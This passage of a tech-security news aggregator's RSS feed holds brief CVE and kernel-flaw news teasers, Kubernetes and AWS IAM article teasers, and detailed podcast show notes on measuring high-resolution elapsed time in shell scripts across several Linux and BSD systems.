<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne/events/">Rust Melbourne</a></li>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>if a ptr is dereferenced in a forest and nobody hears it, is it sound?</p>
</blockquote>
<p>– <a href="https://users.rust-lang.org/t/does-the-indirection-of-a-pointer-immediately-create-a-reference/141071/10">Kornel on rust-users</a></p>
<p>Thanks to <a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328/1785">Cerber-Ursi</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1ureq0r/this_week_in_rust_659/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-35406 | containers aardvark-dns up to 1.17.0 resource consumption (GHSA-hfpq-x728-986j / Nessus ID 325595)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in containers aardvark-dns up to 1.17.0. Affected by this issue is some unknown functionality. This manipulation causes resource consumption.

This vulnerability is registered as CVE-2026-35406. The attack needs to be launched locally. No e...]]></description>
<link>https://tsecurity.de/de/3655302/sicherheitsluecken/cve-2026-35406-containers-aardvark-dns-up-to-1170-resource-consumption-ghsa-hfpq-x728-986j-nessus-id-325595/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655302/sicherheitsluecken/cve-2026-35406-containers-aardvark-dns-up-to-1170-resource-consumption-ghsa-hfpq-x728-986j-nessus-id-325595/</guid>
<pubDate>Wed, 08 Jul 2026 21:24:51 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/containers:aardvark-dns">containers aardvark-dns up to 1.17.0</a>. Affected by this issue is some unknown functionality. This manipulation causes resource consumption.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-35406">CVE-2026-35406</a>. The attack needs to be launched locally. No exploit is available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-Cluster mit Kubernetes]]></title>
<description><![CDATA[Multi-Cluster mit Kubernetes

      
      
        
          
            
                



            
          
        
              
    
  Redaktion IT-A…
Mi., 08.07.2026 - 07:00


            Kubernetes hat sich zur zentralen Plattform für den Betrieb containerisierter Anwendungen e...]]></description>
<link>https://tsecurity.de/de/3653775/server/multi-cluster-mit-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653775/server/multi-cluster-mit-kubernetes/</guid>
<pubDate>Wed, 08 Jul 2026 11:15:21 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Multi-Cluster mit Kubernetes</span>

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  <span class="field field--name-uid field--type-entity-reference field--label-hidden"><a title="Benutzerprofil anzeigen." href="https://www.it-administrator.de/user/108" lang about="https://www.it-administrator.de/user/108" typeof="schema:Person" property="schema:name" datatype content="Redaktion IT-Administrator" class="username">Redaktion IT-A…</a></span>
<span class="field field--name-created field--type-created field--label-hidden"><time datetime="2026-07-08T07:00:00+02:00" title="Mittwoch, Juli 8, 2026 - 07:00" class="datetime">Mi., 08.07.2026 - 07:00</time>
</span>

            <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item">Kubernetes hat sich zur zentralen Plattform für den Betrieb containerisierter Anwendungen entwickelt. Der Betrieb mehrerer Cluster stellt Unternehmen jedoch vor neue Herausforderungen bei Verwaltung, Sicherheit und Automatisierung. Gefragt sind klare Architekturprinzipien, strukturierte Betriebsprozesse sowie Konzepte für Monitoring, Backup und Recovery, damit Kubernetes-Umgebungen langfristig stabil und beherrschbar bleiben.</div>
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    <ul class="links inline"><li class="node-readmore"><a href="https://www.it-administrator.de/multi-cluster-mit-kubernetes" rel="tag" title="Multi-Cluster mit Kubernetes" hreflang="en">Weiterlesen<span class="visually-hidden"> über Multi-Cluster mit Kubernetes</span></a></li></ul>  </div>]]></content:encoded>
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<title><![CDATA[15-Year-Old GhostLock Linux Kernel Flaw Lets Attackers Gain Root Access]]></title>
<description><![CDATA[A newly assigned Linux kernel privilege-escalation flaw tracked as CVE-2026-43499 warns that the bug has affected major distributions for more than 15 years and can be exploited by an unprivileged local attacker to gain root access or escape containers. The vulnerability, discovered by VEGA and d...]]></description>
<link>https://tsecurity.de/de/3653586/it-security-nachrichten/15-year-old-ghostlock-linux-kernel-flaw-lets-attackers-gain-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653586/it-security-nachrichten/15-year-old-ghostlock-linux-kernel-flaw-lets-attackers-gain-root-access/</guid>
<pubDate>Wed, 08 Jul 2026 09:53:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly assigned Linux kernel privilege-escalation flaw tracked as CVE-2026-43499 warns that the bug has affected major distributions for more than 15 years and can be exploited by an unprivileged local attacker to gain root access or escape containers. The vulnerability, discovered by VEGA and documented by NebuSec researchers, stems from incorrect cleanup logic in the Linux […]</p>
<p>The post <a href="https://cyberpress.org/15-year-old-ghostlock-linux-kernel-flaw/">15-Year-Old GhostLock Linux Kernel Flaw Lets Attackers Gain Root Access</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[How to Simplify AWS IAM for Multi-Cluster Kubernetes]]></title>
<description><![CDATA[Unified identity and access management has become increasingly standard in the modern IT industry. Whether you have fully adopted zero-trust principles or are still refining your approach, most enterprises now aim for strict controls that simultaneously support agility. The right people and servi...]]></description>
<link>https://tsecurity.de/de/3652984/unix-server/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652984/unix-server/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/</guid>
<pubDate>Wed, 08 Jul 2026 02:16:36 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Unified identity and access management has become increasingly standard in the modern IT industry. Whether you have fully adopted zero-trust principles or are still refining your approach, most enterprises now aim for strict controls that simultaneously support agility. The right people and services need to be able to reach the right resources, but it is […]</p>
<p>The post <a href="https://www.suse.com/c/how-to-simplify-aws-iam-for-multi-cluster-kubernetes/">How to Simplify AWS IAM for Multi-Cluster Kubernetes</a> appeared first on <a href="https://www.suse.com/c">SUSE Communities</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4678: High Resolution Elapsed Time in Shell Scripts]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe how to calculate elapsed time in bash or other shell scripts.


While this may sound like a very simple and basic thing to do, there is a slightly more complex aspect to it if you wi...]]></description>
<link>https://tsecurity.de/de/3652976/podcasts/hpr4678-high-resolution-elapsed-time-in-shell-scripts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652976/podcasts/hpr4678-high-resolution-elapsed-time-in-shell-scripts/</guid>
<pubDate>Wed, 08 Jul 2026 02:03:40 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe how to calculate elapsed time in bash or other shell scripts.</p>

<p>
While this may sound like a very simple and basic thing to do, there is a slightly more complex aspect to it if you wish to calculate elapsed time to a higher resolution than one second. </p>

<p>

</p>

<p>
02</p>

<p>
There are many reasons for calculating elapsed time in a shell script.</p>

<p>
For example you may wish to simply report how long an operation took to run.</p>

<p>
Another reason may be that you are trying to speed up a script and need to calculate benchmark data to see how different alternative methods perform.</p>

<p>

</p>

<p>
03</p>

<p>
What may seem like a simple task gets a bit more complicated if you want to do it for multiple different operating systems even if they are all unix related, as we shall see.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
04 Operating Systems Tested</p>

<p>

</p>

<p>
For the purposes of this episode, I ran tests on the current version of the following operating systems.</p>

<p>

</p>

<p>
Alma</p>

<p>
Alpine</p>

<p>
Debian</p>

<p>
FreeBSD</p>

<p>
OpenBSD</p>

<p>
RaspberryPi</p>

<p>
OpenSuse</p>

<p>
Ubuntu 2604</p>

<p>

</p>

<p>
Alma is a close copy of Red Hat that we can take as representing Red Hat style distros. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
05 Simple Low Resolution Timing</p>

<p>

</p>

<p>
I will start with the simple and obvious method before describing the less obvious ones.</p>

<p>

</p>

<p>
This uses the date command to get the current time in seconds since the unix epoch. </p>

<p>
This is simply</p>

<p>
date '+%s'</p>

<p>

</p>

<p>
06</p>

<p>
Save this to a variable using whatever method you prefer.</p>

<p>
For example.</p>

<p>
starttime=$(date '+%s')</p>

<p>

</p>

<p>
07</p>

<p>
Next, do whatever operations it is you wish to time.</p>

<p>
Use the date command to get the current time again.</p>

<p>
endtime=$(date '+%s')</p>

<p>

</p>

<p>
08</p>

<p>
Now simply subtract the start time from the end time using shell arithmetic.</p>

<p>
This should be very obvious and basic.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
09 Higher Resolution Timing</p>

<p>

</p>

<p>
However, suppose we wish to measure time to greater than one second of precision. </p>

<p>
We need to do two things.</p>

<p>
The first is to obtain the current time at a higher degree of precision.</p>

<p>
The second is to conduct the calculations to a higher degree of precision. </p>

<p>

</p>

<p>
10</p>

<p>
Unfortunately, the standard time precision for POSIX shells seems to be 1 second.</p>

<p>
Some shells offer a higher precision, but others do not.</p>

<p>
Furthermore, standard shell arithmatic uses integer, which limits calculations to 1 second of precision.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
11 Bash High Resolution Shell Variable</p>

<p>

</p>

<p>
Fortunately, bash is one that does offer a high precision date.</p>

<p>

</p>

<p>
If you are using bash 5.0 or newer, there is a shell variable called EPOCHREALTIME which offers time since the the unix epoch (that is, since the first of January 1970, at 00:00:00 UTC) in seconds to 6 decimals of precision.</p>

<p>

</p>

<p>
12</p>

<p>
Example</p>

<p>
echo $EPOCHREALTIME</p>

<p>
1779634800.184926</p>

<p>

</p>

<p>
13</p>

<p>
This is related to the similar bash variable known as EPOCHSECONDS which gives the number of seconds since the unix epoch.</p>

<p>

</p>

<p>
14</p>

<p>
Example</p>

<p>
echo $EPOCHSECONDS</p>

<p>
1779634800</p>

<p>

</p>

<p>
15</p>

<p>
So if you are using bash, measuring time is very simple.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
16 But is it Really Bash?</p>

<p>

</p>

<p>
Is your script however actually using bash?</p>

<p>
Debian and derivatives actually have two shells.</p>

<p>
The first, the interactive shell is bash.</p>

<p>
The second, the non-interactive shell is dash, which stands for "debian almquist shell".</p>

<p>

</p>

<p>
17</p>

<p>
If you open a terminal, you get bash.</p>

<p>
If your script starts with a "bin/bash" shebang line, you get bash.</p>

<p>
However, if your script starts with a "bin/sh" shebang line, you get dash.</p>

<p>
Some people find themselves getting caught out by this one when they try something out in a terminal but find that it doesn't work in their script which started with "bin/sh".</p>

<p>

</p>

<p>
18</p>

<p>
Many other, but not all, Linux distros use bash for both the interactive and non-interactive shells, so "bin/sh" and "bin/bash" work the same with those ones.</p>

<p>

</p>

<p>
So if you intend to use bash, make sure your script calls for bash in the first line.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
19 The SHELL Variable</p>

<p>

</p>

<p>
So how can a script tell what shell it is running under?</p>

<p>
There is a shell variable called "SHELL" which will tell you the name of the shell.</p>

<p>
Well, sort of.</p>

<p>

</p>

<p>
20</p>

<p>
On Debian and derivatives "SHELL" will  say "bash" regardless of whether the actual shell is bash or dash.</p>

<p>
On some other operating systems "SHELL" will simply say "sh" even if it is something else entirely.</p>

<p>

</p>

<p>
So we need to do some additional levels of checking to see what we have. </p>

<p>

</p>

<p>
21</p>

<p>
To start with though, here's what each of the test distros reports for SHELL.</p>

<p>

</p>

<p>
Alma              : bash</p>

<p>
Alpine            : sh</p>

<p>
Debian            : bash</p>

<p>
FreeBSD           : sh</p>

<p>
OpenBSD           : ksh</p>

<p>
Raspberry-Pi      : bash</p>

<p>
Suse              : bash</p>

<p>
ubuntu2604        : bash</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
22 Bash Versus Dash</p>

<p>

</p>

<p>
First, let's try to see which ones are bash and which ones are dash.</p>

<p>

</p>

<p>
The first thing we can check is for the shell variable BASH_VERSION.</p>

<p>

</p>

<p>
23</p>

<p>
Example</p>

<p>
echo $BASH_VERSION</p>

<p>

</p>

<p>
If the shell is bash, then it will report a version string.</p>

<p>
If the shell is not bash, then it will return an empty value.</p>

<p>

</p>

<p>
24</p>

<p>
Using this test, we can see that Alma and Opensuse are indeed using bash.</p>

<p>

</p>

<p>
We however need to check Debian, Raspberry Pi, and Ubuntu when running in an "sh" script.</p>

<p>
To check this we can use the  "which" command to see what "sh" actually is.</p>

<p>

</p>

<p>
25</p>

<p>
Example</p>

<p>
echo $( ls -l $(which sh )  | rev | cut -d" " -f1 | cut -d/ -f1 | rev )</p>

<p>

</p>

<p>
26</p>

<p>
"which sh" shows us the path to "sh"</p>

<p>
However, that is a link so we need to use</p>

<p>
"ls -l" to find the actual executable.</p>

<p>
"rev" reverses the string.</p>

<p>

</p>

<p>
27</p>

<p>
"cut" takes the first element separated by spaces.</p>

<p>
The second </p>

<p>
"cut" takes the first element separated by the "/" characters.</p>

<p>
The final "rev" takes that string and reverses it again to get it in the correct order.</p>

<p>

</p>

<p>
28</p>

<p>
In the case of Debian, Raspberry Pi, and Ubuntu it tells us that this is "dash".</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
29 Openbsd</p>

<p>

</p>

<p>
Openbsd reports its shell as "ksh", which stands for Korn Shell. </p>

<p>
It is indeed Korn Shell, so we simply leave that one as is.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
30 Alpine and Freebsd</p>

<p>

</p>

<p>
Next we have Alpine Linux and Freebsd, which both report as "sh".</p>

<p>

</p>

<p>
In the case Freebsd there doesn't appear to be any further we can go that I am aware of.</p>

<p>
It's simple "sh".</p>

<p>
It is a basic POSIX shell which seems to be similar to the original unix shell, the Bourne Shell.</p>

<p>
Older versions of Freebsd used a different shell known as tsch (the C shell), but I haven't tested that so I will ignore that here.</p>

<p>

</p>

<p>
31</p>

<p>
With Alpine Linux however, we can get the actual shell using the same method that we used for Debian Linux.</p>

<p>
This reports as being "busybox".</p>

<p>

</p>

<p>
32</p>

<p>
Busybox is a limited shell intended for use in embedded systems.</p>

<p>
Alpine was originally an embedded distro, but some people started using it for containers.</p>

<p>
Alpine is Linux, but it is not GNU/Linux, and there are a number of areas which can trip you up if you are not aware of them.</p>

<p>
So, be extra careful if you are using it for anything, and test everything.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
33 Summary of Actual Shells</p>

<p>

</p>

<p>
Here is our revised list with the actual shell used when asking for "sh", so far as we can determine.</p>

<p>

</p>

<p>
Alma              : bash</p>

<p>
Alpine            : busybox</p>

<p>
Debian            : dash</p>

<p>
FreeBSD           : sh</p>

<p>
OpenBSD           : ksh</p>

<p>
Raspberry-Pi      : dash</p>

<p>
Suse              : bash</p>

<p>
ubuntu2604        : dash</p>

<p>

</p>

<p>
34</p>

<p>
There are other shells, but none of them are the default shell for any of the distros on our list, so I haven't tested them.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
35 Solutions for Measuring Time</p>

<p>

</p>

<p>
Now we need to find solutions for bash, dash, ksh, sh, and busybox.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
36 Bash</p>

<p>

</p>

<p>
For bash, we can simply use EPOCHREALTIME, as mentioned above.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
37 Dash</p>

<p>

</p>

<p>
For dash, we can use the date command.</p>

<p>
This is a very conventional method, and is probably the first answer that anyone would give for this situation.</p>

<p>
However, while it will work in most cases, it will not work in all cases, so it is not a universal solution.</p>

<p>

</p>

<p>
38</p>

<p>
To use date we simply call it with the correct format string.</p>

<p>
This uses %s to get seconds since the epoch, and %N to get nanoseconds of the current second.</p>

<p>
If you put a decimal separator between the two it will appear in the output.</p>

<p>
You can use the correct decimal separator for your locale, but I won't go into that here.</p>

<p>
Instead I will just assume a period or dot.</p>

<p>

</p>

<p>
39</p>

<p>
Example</p>

<p>
date '+%s.%N' </p>

<p>
1779634800.358916385</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
40 Problems with Date on Alpine and Openbsd</p>

<p>

</p>

<p>
Date will work for bash, dash, and sh on Freebsd.</p>

<p>
However it will not work for ksh on Openbsd, or for busybox on Alpine.</p>

<p>

</p>

<p>
41</p>

<p>
With busybox on Alpine, it simply ignores the %N format specifier and prints out the epoch in seconds only followed by the decimal separator.</p>

<p>
=</p>

<p>
Example</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.</p>

<p>

</p>

<p>
42</p>

<p>
With ksh on Openbsd it prints the epoch in seconds followed by the decimal separator and then the %N as a literal N.</p>

<p>

</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.N</p>

<p>

</p>

<p>
43</p>

<p>
Fortunately we have alternatives for these two cases.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
44 Openbsd</p>

<p>

</p>

<p>
Openbsd has the "ts" or timestamp utility installed by default.</p>

<p>
ts prints a time stamp in front of every line it receives from standard input.</p>

<p>
I won't go into details on all aspects of ts here, I'll leave that to someone else.</p>

<p>
Instead I will focus on how to use it for our specific purposes here.</p>

<p>

</p>

<p>
45</p>

<p>
We need to provide a format specifier to ts, which in this case is "%.s"</p>

<p>
We also need to provide something for standard input, or otherwise ts will simply sit there and wait for input.</p>

<p>
So what we need to do is to echo nothing through a pipe to ts while also giving ts the proper format specifier.</p>

<p>

</p>

<p>
46</p>

<p>
Example</p>

<p>
 echo | ts "%.s" </p>

<p>

</p>

<p>
47</p>

<p>
This will output the epoch time in seconds to six decimals of precision.</p>

<p>

</p>

<p>
ts is installed in Openbsd and Freebsd by default and can be used in either.</p>

<p>
It can also be installed in many other distros.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
48 Busybox on Alpine</p>

<p>

</p>

<p>
None of the methods discussed so far will work for busybox on Alpine though.</p>

<p>
However there is a way, but it's a bit non obvious and somewhat hacky.</p>

<p>

</p>

<p>
49</p>

<p>
Busybox includes a command called "adjtimex".</p>

<p>
This is normally used to adjust the time hardware.</p>

<p>
However if it is run without arguments, it will report the current settings.</p>

<p>

</p>

<p>
50</p>

<p>
These include the current epoch time in seconds , and in another field the time in microseconds.</p>

<p>
These are reported as key value pairs.</p>

<p>
So what we need to do is to do the following</p>

<p>

</p>

<p>
51</p>

<p>
Run adjtimex</p>

<p>
Capture the output.</p>

<p>
Grep for "time.tv_sec"</p>

<p>
Grep for "time.tv_usec"</p>

<p>
Use cut to extract the time value in each case.</p>

<p>
Use tr to get rid of excess spaces in each case.</p>

<p>
Combine the two in a string with a decimal separator between them.</p>

<p>

</p>

<p>
52</p>

<p>
This takes a total of 4 lines of shell script. </p>

<p>
I will just describe them breifly here, see the show notes for details.</p>

<p>

</p>

<p>
53</p>

<p>
First we want to capture the output of adjtimex in a single operation.</p>

<p>
Run adjtimex and pipe the output through grep to capture lines containing "time.tv_"</p>

<p>
and save this to a variable. </p>

<p>

</p>

<p>
# Extract the current high resolution time from adjtimex.</p>

<p>
# We want two key value pairs, identified by time.tv_sec and time.tv_usec.</p>

<p>
tvals=$( adjtimex | grep "time.tv_" )</p>

<p>

</p>

<p>
54</p>

<p>
Next echo the contents of this variable and pipe it through grep, cut, and tr to get first the seconds and then the microseconds while also removing excess spaces.</p>

<p>
Save these to two separate variables.</p>

<p>
"time.tv_sec" is the time in seconds since the epoch.</p>

<p>
"time.tv_usec" is the number of microseconds in the current second.</p>

<p>

</p>

<p>
# Get the time since the unix epoch in seconds and micro-seconds.</p>

<p>
timesec=$( echo "$tvals" | grep "time.tv_sec" | cut -d: -f2 | tr -d " " )</p>

<p>
timeusec=$( echo "$tvals" |  grep "time.tv_usec" | cut -d: -f2 | tr -d " " )</p>

<p>

</p>

<p>
55</p>

<p>
Adjtimex does not zero pad the microsecond time value to provide leading zeros, so we need to take care of this using printf before we can append it to the seconds value. We didn't need to do this with date where the %N format character does this automatically.</p>

<p>

</p>

<p>
In this instance, the  printf format string is '%06d'</p>

<p>

</p>

<p>
padusec=$( printf '%06d' $timeusec )</p>

<p>

</p>

<p>
Now, combine these into a single number with a decimal separator by using simple string concatenation.</p>

<p>
# Combine them into a single number.</p>

<p>
timehires="$timesec"".""$padusec"</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
56 Summary of Methods</p>

<p>

</p>

<p>
Let's summarize where we are so far in terms of methods we can use to get the current time as a high resolution number.</p>

<p>

</p>

<p>
Alma                : use EPOCHREALTIME or date</p>

<p>
Debian (bash)       : use EPOCHREALTIME or date</p>

<p>
Raspberry-Pi (bash) : use EPOCHREALTIME or date</p>

<p>
ubuntu2604 (bash)   : use EPOCHREALTIME or date</p>

<p>
Suse                : use EPOCHREALTIME or date</p>

<p>
Debian (dash)       : use date</p>

<p>
Raspberry-Pi (dash) : use date</p>

<p>
ubuntu2604 (dash)   : use date</p>

<p>
Alpine              : use adjtimex and parse the output</p>

<p>
FreeBSD             : use date or ts</p>

<p>
OpenBSD             : use ts</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
57 Other alternatives</p>

<p>

</p>

<p>
There are a few alternatives that we haven't discussed yet.</p>

<p>

</p>

<p>
58 Bash with Dash</p>

<p>

</p>

<p>
In the case of Debian, Raspberry Pi, and Ubuntu running dash, since bash is available it is possible to write a separate bash script which simply echos EPOCHREALTIME and then call it from the dash script and capture the output. </p>

<p>

</p>

<p>
While this would work, there's probably not a lot of point to it.</p>

<p>
If you can rely on bash being there, then just change the first line of the script and make it a bash script.</p>

<p>

</p>

<p>
59 Adding Packages to Alpine</p>

<p>

</p>

<p>
The ts or timestamp utility is a common unix utility that can be installed if it is not present by default.</p>

<p>
This does produce high resolution timestamps on Alpine.</p>

<p>
On Alpine Linux this comes as part of the "moreutils" package.</p>

<p>
To add the package, use the following</p>

<p>
sudo apk add moreutils</p>

<p>
echo | ts "%.s" </p>

<p>
1779634800.959948 </p>

<p>

</p>

<p>
60</p>

<p>
You can also add the GNU coreutils, which will provide a high resolution date command which works like in the other examples.</p>

<p>
To add the package use the following</p>

<p>
sudo apk add coreutils</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.212897332</p>

<p>

</p>

<p>
61</p>

<p>
If you can install more packages into your Alpine system, either of the above two is probably going to be preferable to parsing the output of adjtimex.</p>

<p>

</p>

<p>
62 Custom Timestamp Programs</p>

<p>

</p>

<p>
You can also write a very short program in python, perl, tcl, or some other language and have it output the current epoch time.</p>

<p>
I won't discuss that here though.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
63 Calculating Time Differences</p>

<p>

</p>

<p>
Shell arithmetic is integer only.</p>

<p>
If we wish to use high resolution timing data, we need to do something so we don't lose the precision we have worked so hard to get.</p>

<p>
There are several possible solutions.</p>

<p>

</p>

<p>
64 Change the Time Base</p>

<p>
One method is to change the time base from seconds to milli, micro, or nanoseconds. </p>

<p>
This can be done by simply multiplying the time values by the appropriate amount (e.g. 1000, 1,000,000, etc.) before subtracting them.</p>

<p>
This allows for integer arithmetic on high resolution values without losing precision.</p>

<p>

</p>

<p>
65 Use the Shell bc Arbitrary Precision Calculator</p>

<p>
The bc command line calculator will perform calculations using real numbers and is easy to use in scripts.</p>

<p>
It is present by default in most distros.</p>

<p>

</p>

<p>
echo "scale=9; $endtime - $starttime" | bc</p>

<p>

</p>

<p>
where endtime and starttime are variables containing time values.</p>

<p>

</p>

<p>
66</p>

<p>
However, for some inexplicable reason, neither Debian nor Opensuse install it by default.</p>

<p>
It is present in Ubuntu and Raspberry Pi which are Debian derivatives, and it can be added to distros which lack it.</p>

<p>

</p>

<p>
67 Use awk</p>

<p>
awk can also perform calculations using real numbers and it is present in nearly all distros including in all of the ones we tested here.</p>

<p>

</p>

<p>
echo "$endtime $starttime" | awk '{printf "%.6f\n", $1 - $2}'</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
68 Benchmarks</p>

<p>

</p>

<p>
And of course no comparative evaluation would be complete without benchmarks where we see how each method compares to another in terms of speed.</p>

<p>

</p>

<p>
In the benchmark test I ran each method in a loop through multiple iterations, measured the elapsed time, subtracted out the time for an empty loop, and then compared it to alternate methods.</p>

<p>
For anything other than EPOCHREALTIME, the empty loop time is negligible and has no real effect on the results.</p>

<p>

</p>

<p>
69</p>

<p>
Rather interestingly I came across a bug which caused date to run very slowly if called immediately after using EPOCHREALTIME in bash.</p>

<p>
The effect of the bug was to make the date benchmark test roughly 24 times slower.</p>

<p>

</p>

<p>
This has been fixed in newer releases, but if you are using an older distro release then beware of this bug.</p>

<p>
I was able to get around it either putting a sleep delay between benchmarking  EPOCHREALTIME and benchmarking date, or by simply testing date before testing EPOCHREALTIME.</p>

<p>

</p>

<p>
70</p>

<p>
To be able to conduct additional tests I installed ts in Ubuntu and Alpine, and the GNU version of date in Alpine.</p>

<p>

</p>

<p>

</p>

<p>
71 EPOCHREALTIME Versus date in Ubuntu 2604 bash</p>

<p>
The EPOCHREALTIME method is 3103 times faster than date.</p>

<p>

</p>

<p>
However, when the same test is run on Ubuntu 2404 when the date test is run before the EPOCHREALTIME test, EPOCHREALTIME is 1240 faster than date.</p>

<p>
Other Linux distros show performance to Ubuntu 2404.</p>

<p>
It appears that a side effect of fixing whatever the bug is has the effect of slowing down date.</p>

<p>
However, this is probably not a significant issue in normal circumstances. </p>

<p>

</p>

<p>
72 date versus ts in Ubuntu 2604 bash</p>

<p>
The date method is 3.7 times faster than ts</p>

<p>

</p>

<p>
73 date versus ts in Ubuntu 2604 dash</p>

<p>
The date method is 4.9 times faster than ts</p>

<p>

</p>

<p>
74 date versus ts in Freebsd sh</p>

<p>
The date method is 2.5 times faster than ts</p>

<p>

</p>

<p>
75 date versus adjtimex in Alpine Busybox</p>

<p>
The date method is 6.0 times faster than adjtimex</p>

<p>

</p>

<p>
76 date versus ts in Alpine Busybox</p>

<p>
The date method is 20.0 times faster than ts</p>

<p>

</p>

<p>
77 bc versus awk in Ubuntu 2604</p>

<p>
I compared calculating the difference between two numbers when using bc versus awk. </p>

<p>
The difference is negligible, with bc being only 7% faster than awk. </p>

<p>

</p>

<p>

</p>

<p>
78 Conclusion for Benchmarks</p>

<p>
Based on these results, if you need to measure elapsed time to high resolution and care about runing the command with as little overhead as possible, then the order of preference should be the following.</p>

<p>

</p>

<p>
79</p>

<p>
If you are using a newer version of bash, then use EPOCHREALTIME.</p>

<p>
If that is not available, then use date, provided it allows for high resolution times.</p>

<p>
If the above two cannot be used, then use ts.</p>

<p>
If you are using Busybox and cannot install either GNU date or ts, then use adjtimex.</p>

<p>

</p>

<p>
Date is the closest in terms of being the universal portable solution, but it does not work in all cases.</p>

<p>

</p>

<p>
80</p>

<p>
I have not compared different platforms to each other in terms of performance, as that would be a much more involved problem that is outside the scope of this episode.</p>

<p>

</p>

<p>
However, different operating systems implement different commands in different ways.</p>

<p>

</p>

<p>
81</p>

<p>
For example, on Openbsd and Freebsd, ts appears to be an ELF binary. That is, it is executable machine code, possibly written in C.</p>

<p>
On  Ubuntu however, ts appears to be a perl script. </p>

<p>
As a result of this, the advantage that date has over ts is much less in Freebsd than it is with Ubuntu (and likely other Linux distros) as on Freebsd it doesn't need to load a perl interpreter to run ts. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
82 Overall Conclusion</p>

<p>
You no doubt thought that measuring elapsed time was going to be so simple, and how could someone get an entire podcast out of such a simple subject?</p>

<p>
